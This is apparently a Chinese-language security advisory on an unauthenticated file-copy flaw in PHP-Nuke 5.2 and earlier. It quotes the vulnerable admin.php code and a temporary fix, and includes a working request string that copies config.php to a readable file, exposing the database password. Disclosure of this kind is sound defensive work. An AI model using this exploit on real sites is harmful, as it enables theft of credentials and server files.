PHP-Nuke是一個開放源碼軟件,被很多站點用作web論壇。它的admin.php文件中存在一個安全缺陷,攻擊者可以通過這個缺陷從系統硬盤的任意位置向另外的位置復制文件,從而獲得一些敏感文件的訪問權限,甚至將這些文件覆蓋。
存在缺陷的版本
PHP-Nuke 5.2以及以前的版本
不受影響的版本
只有PHP-Nuke 5.0 RC1
Exploit
以下代碼或方法只能用于研究,使用者造成的后果自負
例如:
&file=config.php&file_name=hacked.txt&wdir=/images/&userfile=config.php &userfile_name=hacked.txt
然后訪問剛剛建立的文件:
就可以看到有數據庫密碼的config.php文件的內容。通過這種方式也可以獲得其它的文件。
缺陷代碼
缺陷代碼在admin.php文件中:
$basedir = dirname($SCRIPT_FILENAME);
$textrows = 20;
$textcols = 85;
$udir = dirname($PHP_SELF);
if(!$wdir) $wdir="/";
if($cancel) $op="FileManager";
if($upload) {
copy($userfile,$basedir.$wdir.$userfile_name);
$lastaction = ""._UPLOADED." $userfile_name --> $wdir";
// This need a rewrite -------------------------------------> OMG! WE AGREEEEEEEE lmao
//include("header.php");
//GraphicAdmin($hlpfile);
//html_header();
//displaydir();
$wdir2="/";
chdir($basedir . $wdir2);
//CloseTable();
//include("footer.php");
Header("Location: admin.php?op=FileManager");
exit;
這段代碼不檢查你是否以admin的身份登錄,因此你無須通過驗證就可以使用admin.php文件。
解決方案
有一個臨時的解決方法就是把
"if($upload) {"
改為:
"if (($upload) && ($admintest)) {"